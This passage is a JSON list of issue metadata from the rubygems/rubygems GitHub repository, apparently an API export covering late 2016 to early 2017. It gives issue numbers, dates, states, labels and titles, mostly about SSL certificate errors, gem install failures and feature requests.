required"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0yNVQwNjoxOToxMC0wNDowMM4LCAh+","node":{"number":1761,"createdAt":"2016-10-25T10:19:10Z","closedAt":"2016-10-25T10:30:59Z","updatedAt":"2017-08-24T17:28:07Z","state":"CLOSED","title":"Ruby 2.3.1 Unable to download data from https://rubygems.org/ - SSL_connect returned=1 errno=0 state=SSLv3 read server certificate B: certificate verify failed (https://api.rubygems.org/specs.4.8.gz)","url":"https://github.com/rubygems/rubygems/issues/1761","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0yN1QxMDoxMjozNS0wNDowMM4LEUDw","node":{"number":1762,"createdAt":"2016-10-27T14:12:35Z","closedAt":"2016-10-27T18:25:55Z","updatedAt":"2016-10-27T18:26:18Z","state":"CLOSED","title":"gem update failure on OSX","url":"https://github.com/rubygems/rubygems/issues/1762","labels":{"nodes":[{"name":"platform: osx"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0yOFQxMjowODoxMS0wNDowMM4LFYxG","node":{"number":1764,"createdAt":"2016-10-28T16:08:11Z","closedAt":"2016-12-03T04:41:04Z","updatedAt":"2016-12-03T04:41:04Z","state":"CLOSED","title":"state=SSLv3 read server certificate B: certificate verify failed ","url":"https://github.com/rubygems/rubygems/issues/1764","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0yOFQxMjowODo1My0wNDowMM4LFYzg","node":{"number":1765,"createdAt":"2016-10-28T16:08:53Z","closedAt":"2016-11-18T20:58:49Z","updatedAt":"2017-02-27T05:46:41Z","state":"CLOSED","title":"Could it be that there are still issues with certificates?","url":"https://github.com/rubygems/rubygems/issues/1765","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0zMVQxNTowMjoyMi0wNDowMM4LG8NC","node":{"number":1768,"createdAt":"2016-10-31T19:02:22Z","closedAt":"2016-11-02T20:14:27Z","updatedAt":"2016-11-02T20:14:27Z","state":"CLOSED","title":"gem help cert does not show -d/--days","url":"https://github.com/rubygems/rubygems/issues/1768","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMS0wMVQxMDozNjozNC0wNDowMM4LHoUe","node":{"number":1769,"createdAt":"2016-11-01T14:36:34Z","closedAt":"2017-09-04T13:34:56Z","updatedAt":"2017-12-29T18:59:26Z","state":"CLOSED","title":"gem install error - SSL issue","url":"https://github.com/rubygems/rubygems/issues/1769","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMS0wMlQxMjo0MjozNS0wNDowMM4LIy4N","node":{"number":1770,"createdAt":"2016-11-02T16:42:35Z","closedAt":"2016-11-16T13:40:30Z","updatedAt":"2016-11-16T13:40:32Z","state":"CLOSED","title":"I can''t able to install sass on my windows 10 pc using cli ","url":"https://github.com/rubygems/rubygems/issues/1770","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMS0wNFQwNToyMjo0OC0wNDowMM4LKcMf","node":{"number":1772,"createdAt":"2016-11-04T09:22:48Z","closedAt":"2016-11-25T22:48:54Z","updatedAt":"2016-11-25T22:48:55Z","state":"CLOSED","title":"win7 modify the gem source,get an strange error","url":"https://github.com/rubygems/rubygems/issues/1772","labels":{"nodes":[{"name":"platform: windows"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMS0wOVQxMToxNzozMy0wNTowMM4LOQlR","node":{"number":1774,"createdAt":"2016-11-09T16:17:33Z","closedAt":"2016-11-09T22:53:13Z","updatedAt":"2016-11-09T22:53:13Z","state":"CLOSED","title":"Installing gem does not install all gem dependencies","url":"https://github.com/rubygems/rubygems/issues/1774","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMS0xMFQyMzoxOTo1OS0wNTowMM4LPw64","node":{"number":1776,"createdAt":"2016-11-11T04:19:59Z","closedAt":"2016-11-12T02:39:05Z","updatedAt":"2016-11-12T02:39:05Z","state":"CLOSED","title":"Issue updating ruby gems on osx sierra","url":"https://github.com/rubygems/rubygems/issues/1776","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMS0xM1QwODozMTo1Ni0wNTowMM4LQ3Ww","node":{"number":1777,"createdAt":"2016-11-13T13:31:56Z","closedAt":"2016-11-14T01:35:37Z","updatedAt":"2016-11-14T01:35:37Z","state":"CLOSED","title":"NoMethodError when invalid email supplied for gem cert --build","url":"https://github.com/rubygems/rubygems/issues/1777","labels":{"nodes":[{"name":"status: ready"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMS0xM1QwOTo0NTo0OC0wNTowMM4LQ4NT","node":{"number":1778,"createdAt":"2016-11-13T14:45:48Z","closedAt":"2016-11-13T16:14:38Z","updatedAt":"2016-11-13T16:14:38Z","state":"CLOSED","title":"SSL error, not encountered before now suddenly can''t install gems","url":"https://github.com/rubygems/rubygems/issues/1778","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMS0xNFQxMDoyNjozMS0wNTowMM4LRg8/","node":{"number":1782,"createdAt":"2016-11-14T15:26:31Z","closedAt":null,"updatedAt":"2017-01-14T09:34:55Z","state":"OPEN","title":"0.0.0.pre2 is < 0","url":"https://github.com/rubygems/rubygems/issues/1782","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMS0xNlQwNzowNToyNy0wNTowMM4LTloy","node":{"number":1783,"createdAt":"2016-11-16T12:05:27Z","closedAt":null,"updatedAt":"2017-09-24T16:19:49Z","state":"OPEN","title":"Error message for an invalid proxy is a bit misleading","url":"https://github.com/rubygems/rubygems/issues/1783","labels":{"nodes":[{"name":"contribution: small"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMS0xN1QxNTowMjoyNi0wNTowMM4LVW/+","node":{"number":1784,"createdAt":"2016-11-17T20:02:26Z","closedAt":"2017-01-23T17:47:22Z","updatedAt":"2017-01-23T17:47:22Z","state":"CLOSED","title":"Permission denied @ rb_sysopen - C:/Program Files/Ruby23/lib/ruby/gems/2.3.0/cache/rdoc-data-4.1.0.gem","url":"https://github.com/rubygems/rubygems/issues/1784","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMS0yMVQxNToyNzo0My0wNTowMM4LX8j2","node":{"number":1785,"createdAt":"2016-11-21T20:27:43Z","closedAt":"2017-01-07T05:29:46Z","updatedAt":"2017-01-07T05:29:46Z","state":"CLOSED","title":"Can''t install Rails on Windows","url":"https://github.com/rubygems/rubygems/issues/1785","labels":{"nodes":[{"name":"platform: windows"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMS0yNlQwMTo1MTo1Ni0wNTowMM4Lbn+l","node":{"number":1786,"createdAt":"2016-11-26T06:51:56Z","closedAt":"2016-11-27T21:55:44Z","updatedAt":"2016-11-27T21:55:44Z","state":"CLOSED","title":"I didn''t know the current Ruby version when error was occured caused by old version of Ruby.","url":"https://github.com/rubygems/rubygems/issues/1786","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMS0yNlQxNToyNjo1NC0wNTowMM4LbwSd","node":{"number":1787,"createdAt":"2016-11-26T20:26:54Z","closedAt":null,"updatedAt":"2017-01-25T14:58:54Z","state":"OPEN","title":"Defaulting to allowed_push_host doesn''t quite work","url":"https://github.com/rubygems/rubygems/issues/1787","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMi0wMVQyMzo0ODowNS0wNTowMM4LgXXg","node":{"number":1792,"createdAt":"2016-12-02T04:48:05Z","closedAt":"2017-03-12T20:07:32Z","updatedAt":"2017-03-12T21:19:52Z","state":"CLOSED","title":"installing gem bundler","url":"https://github.com/rubygems/rubygems/issues/1792","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMi0wMlQxMjowODoyNC0wNTowMM4Lg4OJ","node":{"number":1793,"createdAt":"2016-12-02T17:08:24Z","closedAt":"2017-01-02T23:50:18Z","updatedAt":"2017-01-02T23:50:18Z","state":"CLOSED","title":"Bad hrefs in ''gem server''- incorrect non-alpha character encoding","url":"https://github.com/rubygems/rubygems/issues/1793","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMi0wMlQyMTo0MDoxNi0wNTowMM4LhOqu","node":{"number":1794,"createdAt":"2016-12-03T02:40:16Z","closedAt":"2016-12-03T04:43:35Z","updatedAt":"2016-12-03T04:43:35Z","state":"CLOSED","title":"Can''t install gems ","url":"https://github.com/rubygems/rubygems/issues/1794","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMi0wNlQxMjo0Njo1Ny0wNTowMM4Ljb9C","node":{"number":1795,"createdAt":"2016-12-06T17:46:57Z","closedAt":"2016-12-06T19:44:06Z","updatedAt":"2016-12-06T19:45:01Z","state":"CLOSED","title":"rename handle to username for clarity/useability","url":"https://github.com/rubygems/rubygems/issues/1795","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMi0xNFQwMDoxMDowMy0wNTowMM4LpjT1","node":{"number":1797,"createdAt":"2016-12-14T05:10:03Z","closedAt":"2017-03-11T14:21:56Z","updatedAt":"2017-03-11T14:21:56Z","state":"CLOSED","title":"SSL errors","url":"https://github.com/rubygems/rubygems/issues/1797","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMi0xNVQxMTozNDowOS0wNTowMM4LrHf+","node":{"number":1798,"createdAt":"2016-12-15T16:34:09Z","closedAt":"2016-12-16T14:23:29Z","updatedAt":"2016-12-16T14:23:30Z","state":"CLOSED","title":"Error upgrading gem in MacOS","url":"https://github.com/rubygems/rubygems/issues/1798","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMi0xNVQxNDoxMDoyNC0wNTowMM4LrQbo","node":{"number":1799,"createdAt":"2016-12-15T19:10:24Z","closedAt":"2016-12-15T19:11:43Z","updatedAt":"2016-12-15T19:11:51Z","state":"CLOSED","title":"Yardoc autodocumentation ignores tags","url":"https://github.com/rubygems/rubygems/issues/1799","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMi0xNlQxMTo0ODowOS0wNTowMM4LsExX","node":{"number":1800,"createdAt":"2016-12-16T16:48:09Z","closedAt":"2017-09-18T07:35:09Z","updatedAt":"2017-09-18T07:35:09Z","state":"CLOSED","title":"SSL cert. error after upgrade to RubyGems 2.6.7","url":"https://github.com/rubygems/rubygems/issues/1800","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMi0xOFQxNzowNToxMy0wNTowMM4Ls1YQ","node":{"number":1802,"createdAt":"2016-12-18T22:05:13Z","closedAt":"2016-12-19T02:38:49Z","updatedAt":"2016-12-19T02:38:49Z","state":"CLOSED","title":"Gem installation error: `installing into parent path`","url":"https://github.com/rubygems/rubygems/issues/1802","labels":{"nodes":[{"name":"status: user feedback required"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMi0yM1QwNTo0ODoxNS0wNTowMM4Lw03H","node":{"number":1803,"createdAt":"2016-12-23T10:48:15Z","closedAt":"2017-03-11T17:51:02Z","updatedAt":"2017-11-02T09:32:09Z","state":"CLOSED","title":"Cause found of: gem update --system fails with ''undefined method ''version'' for nil:NilClass''.","url":"https://github.com/rubygems/rubygems/issues/1803","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMi0yOVQwMToyMzo0MS0wNTowMM4LzJ/8","node":{"number":1807,"createdAt":"2016-12-29T06:23:41Z","closedAt":null,"updatedAt":"2017-03-11T14:57:10Z","state":"OPEN","title":"Help! Modeling extension testing after Gem::TestCase","url":"https://github.com/rubygems/rubygems/issues/1807","labels":{"nodes":[{"name":"status: triage"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMS0wNVQwNjowNjo0MC0wNTowMM4L23Ax","node":{"number":1810,"createdAt":"2017-01-05T11:06:40Z","closedAt":"2017-03-11T17:54:24Z","updatedAt":"2017-03-11T17:54:24Z","state":"CLOSED","title":"Wrong shebang on Windows","url":"https://github.com/rubygems/rubygems/issues/1810","labels":{"nodes":[{"name":"platform: windows"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMS0wNVQxMjozNDowOS0wNTowMM4L3Lar","node":{"number":1811,"createdAt":"2017-01-05T17:34:09Z","closedAt":null,"updatedAt":"2017-09-20T13:52:41Z","state":"OPEN","title":"Feature Request: Optional dependency version specifier","url":"https://github.com/rubygems/rubygems/issues/1811","labels":{"nodes":[{"name":"contribution: unclaimed"},{"name":"status: ready"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMS0wOFQwNDozMjoyOS0wNTowMM4L4stb","node":{"number":1813,"createdAt":"2017-01-08T09:32:29Z","closedAt":"2017-01-23T14:42:25Z","updatedAt":"2017-01-23T14:42:25Z","state":"CLOSED","title":"Use Hash#fetch in config_file.rb","url":"https://github.com/rubygems/rubygems/issues/1813","labels":{"nodes":[{"name":"type: cleanup"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMS0wOFQwNzowODoyMC0wNTowMM4L4uG6","node":{"number":1814,"createdAt":"2017-01-08T12:08:20Z","closedAt":"2017-01-23T15:32:41Z","updatedAt":"2017-01-23T15:32:41Z","state":"CLOSED","title":"Remove ableist slur in codebase.","url":"https://github.com/rubygems/rubygems/issues/1814","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMS0xMVQxMjowNzoyMC0wNTowMM4L7hGO","node":{"number":1815,"createdAt":"2017-01-11T17:07:20Z","closedAt":"2017-01-11T19:16:22Z","updatedAt":"2017-01-11T22:52:36Z","state":"CLOSED","title":"Can''t redirect IO due to hard coded values","url":"https://github.com/rubygems/rubygems/issues/1815","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMS0xMVQxMjowNzozOC0wNTowMM4L7hHY","node":{"number":1816,"createdAt":"2017-01-11T17:07:38Z","closedAt":"2017-01-11T22:52:07Z","updatedAt":"2017-01-11T23:11:07Z","state":"CLOSED","title":"Gem installs the wrong package","url":"https://github.com/rubygems/rubygems/issues/1816","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMS0xNFQxODo0NDo0NS0wNTowMM4L+Ihb","node":{"number":1818,"createdAt":"2017-01-14T23:44:45Z","closedAt":"2017-01-15T07:44:17Z","updatedAt":"2017-01-15T07:44:17Z","state":"CLOSED","title":"Confirmation emails not being sent by rubygems.org","url":"https://github.com/rubygems/rubygems/issues/1818","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMS0yN1QwNTowMzozMi0wNTowMM4MIqNw","node":{"number":1828,"createdAt":"2017-01-27T10:03:32Z","closedAt":"2017-01-27T11:04:52Z","updatedAt":"2017-01-27T11:04:52Z","state":"CLOSED","title":"Please consider an API endpoint for listing all available gems.","url":"https://github.com/rubygems/rubygems/issues/1828","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMS0yN1QwOToyOTo1MS0wNTowMM4MI29P","node":{"number":1829,"createdAt":"2017-01-27T14:29:51Z","closedAt":null,"updatedAt":"2017-01-28T15:35:42Z","state":"OPEN","title":"Sources without trailing slash not resolved correctly","url":"https://github.com/rubygems/rubygems/issues/1829","labels":{"nodes":[{"name":"status: triage"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMS0zMVQyMzo0Nzo1OS0wNTowMM4MMF9N","node":{"number":1831,"createdAt":"2017-02-01T04:47:59Z","closedAt":"2017-09-18T07:33:44Z","updatedAt":"2017-09-18T07:33:45Z","state":"CLOSED","title":"ERROR: SSL verification error at depth 2: certificate has expired (10)","url":"https://github.com/rubygems/rubygems/issues/1831","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0wOFQwOToyODo1MC0wNTowMM4MSpEh","node":{"number":1835,"createdAt":"2017-02-08T14:28:50Z","closedAt":"2017-03-11T14:18:03Z","updatedAt":"2017-03-11T14:18:03Z","state":"CLOSED","title":"2.6.10 Gem::RemoteFetcher::FetchError: SSL_connect SYSCALL returned=5 errno=0 state=SSLv2/v3 read server hello A","url":"https://github.com/rubygems/rubygems/issues/1835","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0wOFQxODowMzozNi0wNTowMM4MTLIz","node":{"number":1837,"createdAt":"2017-02-08T23:03:36Z","closedAt":null,"updatedAt":"2017-04-27T07:31:57Z","state":"OPEN","title":"Feature request: chdir to gemspec directory when doing gem build and control output location","url":"https://github.com/rubygems/rubygems/issues/1837","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0xMFQwODoxOTo0OS0wNTowMM4MU23S","node":{"number":1838,"createdAt":"2017-02-10T13:19:49Z","closedAt":"2017-03-11T18:08:12Z","updatedAt":"2017-03-11T18:08:12Z","state":"CLOSED","title":"Windows Ruby 2.1.4 can''t install any gems, can''t update, nor add sources","url":"https://github.com/rubygems/rubygems/issues/1838","labels":{"nodes":[{"name":"platform: windows"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0xM1QwODo1MjowOC0wNTowMM4MWf2i","node":{"number":1839,"createdAt":"2017-02-13T13:52:08Z","closedAt":"2017-02-13T16:18:41Z","updatedAt":"2017-02-13T16:18:42Z","state":"CLOSED","title":"Can''t execute a prerelease gem","url":"https://github.com/rubygems/rubygems/issues/1839","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0xNlQxMzo1MDozNi0wNTowMM4MaQ7/","node":{"number":1840,"createdAt":"2017-02-16T18:50:36Z","closedAt":null,"updatedAt":"2017-06-26T08:19:57Z","state":"OPEN","title":"Cross compiling Ruby Gems uses Build System Linker Options","url":"https://github.com/rubygems/rubygems/issues/1840","labels":{"nodes":[{"name":"category: install"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0yMlQwNTo1NjowMy0wNTowMM4Me3le","node":{"number":1848,"createdAt":"2017-02-22T10:56:03Z","closedAt":null,"updatedAt":"2017-03-11T14:24:02Z","state":"OPEN","title":"Ruby new Installation on windows 10 machine can''t update gems or install gems ","url":"https://github.com/rubygems/rubygems/issues/1848","labels":{"nodes":[{"name":"platform: windows"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0yNFQxMjoxMzoyMy0wNTowMM4MhfU9","node":{"number":1850,"createdAt":"2017-02-24T17:13:23Z","closedAt":"2017-02-24T19:40:51Z","updatedAt":"2017-02-24T21:08:00Z","state":"CLOSED","title":"Question about installing milia with rails 5","url":"https://github.com/rubygems/rubygems/issues/1850","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0yNFQxNTo0ODozMi0wNTowMM4MhrLl","node":{"number":1851,"createdAt":"2017-02-24T20:48:32Z","closedAt":"2017-03-11T20:24:16Z","updatedAt":"2017-03-11T20:24:16Z","state":"CLOSED","title":"Gem::DependencyResolutionError when installing Rails 5.1.0.beta1","url":"https://github.com/rubygems/rubygems/issues/1851","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0yNFQyMDowMTowOC0wNTowMM4Mh1g/","node":{"number":1852,"createdAt":"2017-02-25T01:01:08Z","closedAt":"2017-02-25T02:00:40Z","updatedAt":"2017-02-25T08:21:37Z","state":"CLOSED","title":"Problem changing json default from 2.0.2 to 1.8.5","url":"https://github.com/rubygems/rubygems/issues/1852","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0yNVQxNjo1NDozMi0wNTowMM4MiGMi","node":{"number":1853,"createdAt":"2017-02-25T21:54:32Z","closedAt":"2017-02-25T22:01:22Z","updatedAt":"2017-02-25T22:01:23Z","state":"CLOSED","title":"Login Problem - old email","url":"https://github.com/rubygems/rubygems/issues/1853","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0yOFQwMTo0NDoxNS0wNTowMM4MjwvU","node":{"number":1855,"createdAt":"2017-02-28T06:44:15Z","closedAt":"2017-03-11T18:06:42Z","updatedAt":"2017-03-11T18:06:42Z","state":"CLOSED","title":"Win32 Gem SSL errors in Japan","url":"https://github.com/rubygems/rubygems/issues/1855","labels":{"nodes":[{"name":"platform: windows"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMy0wMlQxMzo0MDowNS0wNTowMM4Mmu1x","node":{"number":1857,"createdAt":"2017-03-02T18:40:05Z","closedAt":"2017-03-02T18:46:19Z","updatedAt":"2017-03-02T18:57:24Z","state":"CLOSED","title":"gem search should support exact match","url":"https://github.com/rubygems/rubygems/issues/1857","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMy0wMlQxNToyMzo1OS0wNTowMM4Mm1Xx","node":{"number":1858,"createdAt":"2017-03-02T20:23:59Z","closedAt":null,"updatedAt":"2017-03-11T17:47:25Z","state":"OPEN","title":"make find_by_name return nil instead of rescue","url":"https://github.com/rubygems/rubygems/issues/1858","labels":{"nodes":[{"name":"contribution: unclaimed"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMy0wNFQwNTo0ODowMi0wNTowMM4MoOlt","node":{"number":1860,"createdAt":"2017-03-04T10:48:02Z","closedAt":"2017-03-11T17:23:36Z","updatedAt":"2017-03-11T17:23:36Z","state":"CLOSED","title":"Small typo: There should be a trailing ''.'' character when trying to yank a gem that has already been yanked successfully prior.","url":"https://github.com/rubygems/rubygems/issues/1860","labels":{"nodes":[{"name":"contribution: small"},{"name":"contribution: unclaimed"},{"name":"type: cleanup"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMy0wNFQxMjo0Mjo1NC0wNTowMM4MoUCk","node":{"number":1861,"createdAt":"2017-03-04T17:42:54Z","closedAt":"2017-03-04T17:44:59Z","updatedAt":"2017-03-06T08:58:06Z","state":"CLOSED","title":"logstash-output-monasca_log_api ","url":"https://github.com/rubygems/rubygems/issues/1861","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMy0wNVQxNjoxNTowMi0wNTowMM4MoqH+","node":{"number":1862,"createdAt":"2017-03-05T21:15:02Z","closedAt":"2017-03-11T14:13:17Z","updatedAt":"2017-08-17T10:01:33Z","state":"CLOSED","title":"error rails new","url":"https://github.com/rubygems/rubygems/issues/1862","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMy0wNlQwMzozNzo0OS0wNTowMM4Mo7R9","node":{"number":1863,"createdAt":"2017-03-06T08:37:49Z","closedAt":"2017-03-06T12:49:36Z","updatedAt":"2017-03-30T12:37:19Z","state":"CLOSED","title":"Rubygems.org API Error 503 Service unavailable","url":"https://github.com/rubygems/rubygems/issues/1863","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMy0wNlQwOTozMTowNS0wNTowMM4MpPuW","node":{"number":1864,"createdAt":"2017-03-06T14:31:05Z","closedAt":"2017-03-11T14:42:06Z","updatedAt":"2017-03-14T13:22:23Z","state":"CLOSED","title":"gem server, ruby stable","url":"https://github.com/rubygems/rubygems/issues/1864","labels":{"nodes":[{"name":"type: question"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMy0wNlQwOTozNjoxOS0wNTowMM4MpQGI","node":{"number":1865,"createdAt":"2017-03-06T14:36:19Z","closedAt":"2017-03-06T23:33:57Z","updatedAt":"2017-03-06T23:33:57Z","state":"CLOSED","title":"command-reference.md in this repo?","url":"https://github.com/rubygems/rubygems/issues/1865","labels":{"nodes":[{"name":"closed: declined"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMy0wOFQxNTo0MjoxNS0wNTowMM4Mr9fc","node":{"number":1866,"createdAt":"2017-03-08T20:42:15Z","closedAt":null,"updatedAt":"2017-05-12T06:29:12Z","state":"OPEN","title":"-I should take precedence over default gems","url":"https://github.com/rubygems/rubygems/issues/1866","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMy0wOVQxNTo0MDoyOS0wNTowMM4MtIsf","node":{"number":1867,"createdAt":"2017-03-09T20:40:29Z","closedAt":"2017-03-09T20:46:52Z","updatedAt":"2017-03-09T21:01:05Z","state":"CLOSED","title":"Move lost account to new email address","url":"https://github.com/rubygems/rubygems/issues/1867","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMy0xNVQxNjo1MzowNC0wNDowMM4MyVlZ","node":{"number":1869,"createdAt":"2017-03-15T20:53:04Z","closedAt":"2017-03-15T20:55:18Z","updatedAt":"2017-03-15T20:55:18Z","state":"CLOSED","title":"SSL Error: connecting to google maps","url":"https://github.com/rubygems/rubygems/issues/1869","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMy0xOFQxMDoxNDozOS0wNDowMM4M06Px","node":{"number":1870,"createdAt":"2017-03-18T14:14:39Z","closedAt":"2017-03-18T22:07:32Z","updatedAt":"2017-03-18T22:07:32Z","state":"CLOSED","title":"ruby gems disappearing! were installed but they''re not anymore","url":"https://github.com/rubygems/rubygems/issues/1870","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMy0xOVQwNzowMzo1OS0wNDowMM4M1I2T","node":{"number":1871,"createdAt":"2017-03-19T11:03:59Z","closedAt":"2017-03-19T11:42:12Z","updatedAt":"2017-03-19T11:42:12Z","state":"CLOSED","title":"rubygems json specification confusion","url":"https://github.com/rubygems/rubygems/issues/1871","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMy0yMlQwNzoxNToyOC0wNDowMM4M4FJU","node":{"number":1872,"createdAt":"2017-03-22T11:15:28Z","closedAt":null,"updatedAt":"2017-03-22T11:15:28Z","state":"OPEN","title":"Incompatible character encodings: UTF-8 and ASCII-8BIT","url":"https://github.com/rubygems/rubygems/issues/1872","labels":{"nodes":[{"name":"status: triage"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMy0yNFQxODowMDoyNS0wNDowMM4M7d1Z","node":{"number":1874,"createdAt":"2017-03-24T22:00:25Z","closedAt":"2017-09-18T07:32:58Z","updatedAt":"2017-09-18T07:32:58Z","state":"CLOSED","title":"gem installer bundle fails","url":"https://github.com/rubygems/rubygems/issues/1874","labels":{"nodes":[{"name":"status: user feedback required"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMy0yNlQxMzoyNTowMy0wNDowMM4M8DFW","node":{"number":1875,"createdAt":"2017-03-26T17:25:03Z","closedAt":"2017-03-26T21:45:24Z","updatedAt":"2017-03-26T21:45:25Z","state":"CLOSED","title":"MinGW builds, rubygems tests, ENV[''GIT'']","url":"https://github.com/rubygems/rubygems/issues/1875","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMy0yOVQxNDoxODowOC0wNDowMM4M/d6Z","node":{"number":1881,"createdAt":"2017-03-29T18:18:08Z","closedAt":null,"updatedAt":"2017-08-15T19:03:46Z","state":"OPEN","title":"symlinks containing .. get rewritten to an incorrect target by `gem build`","url":"https://github.com/rubygems/rubygems/issues/1881","labels":{"nodes":[{"name":"status: triage"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMy0yOVQxODowMDo1NC0wNDowMM4M/sH/","node":{"number":1882,"createdAt":"2017-03-29T22:00:54Z","closedAt":"2017-03-29T22:01:11Z","updatedAt":"2017-03-29T22:01:11Z","state":"CLOSED","title":" ..","url":"https://github.com/rubygems/rubygems/issues/1882","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNC0wNFQwOTo1NzozMi0wNDowMM4NEaJM","node":{"number":1887,"createdAt":"2017-04-04T13:57:32Z","closedAt":"2017-04-08T21:33:25Z","updatedAt":"2017-04-09T04:25:04Z","state":"CLOSED","title":"Broken ''PG'' gem","url":"https://github.com/rubygems/rubygems/issues/1887","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNC0wNFQyMDoyNDo0My0wNDowMM4NFC+F","node":{"number":1888,"createdAt":"2017-04-05T00:24:43Z","closedAt":null,"updatedAt":"2017-04-10T07:17:54Z","state":"OPEN","title":"Requiring rubygems/config_file activates the etc gem","url":"https://github.com/rubygems/rubygems/issues/1888","labels":{"nodes":[{"name":"type: bug 